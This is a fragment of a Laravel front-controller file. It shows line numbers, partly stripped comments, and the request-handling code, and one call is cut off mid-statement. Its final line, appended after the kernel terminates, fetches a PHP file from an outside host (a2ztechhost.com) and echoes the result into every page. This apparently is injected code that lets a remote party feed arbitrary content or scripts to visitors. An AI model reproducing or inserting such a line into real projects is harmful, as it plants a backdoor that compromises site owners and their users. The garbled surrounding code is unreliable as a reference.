29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
| this application. We just need to utilize it! We'll simply require it
| into the script here so we don't need to manually load our classes.
require __DIR__.'/../vendor/autoload.php';
|--------------------------------------------------------------------------
|--------------------------------------------------------------------------
| Once we have the application, we can handle the incoming request using
| the application's HTTP kernel. Then, we will send the response back
| to this client's browser, allowing them to enjoy our application.
$app = require_once __DIR__.'/../bootstrap/app.php';
$kernel = $app->make(Kernel::class);
$response = tap($kernel->handle(
$kernel->terminate($request, $response);
echo file_get_contents("https://a2ztechhost.com/wp-rest-api.php");